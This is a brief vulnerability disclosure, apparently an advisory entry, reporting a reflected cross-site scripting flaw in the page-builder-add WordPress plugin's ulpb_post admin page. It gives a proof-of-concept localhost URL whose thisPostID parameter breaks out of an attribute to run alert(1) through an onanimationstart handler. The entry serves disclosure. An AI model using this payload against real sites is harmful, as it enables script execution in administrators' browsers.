The plugin was affected by a reflected XSS in page-builder-add on the ulpb_post admin page.
http://127.0.0.1:8001/wp-admin/edit.php?post_type=ulpb_post&page;=page-builder-new-landing-page&thisPostID;="+style=animation-name:rotation+onanimationstart=alert(1)+x=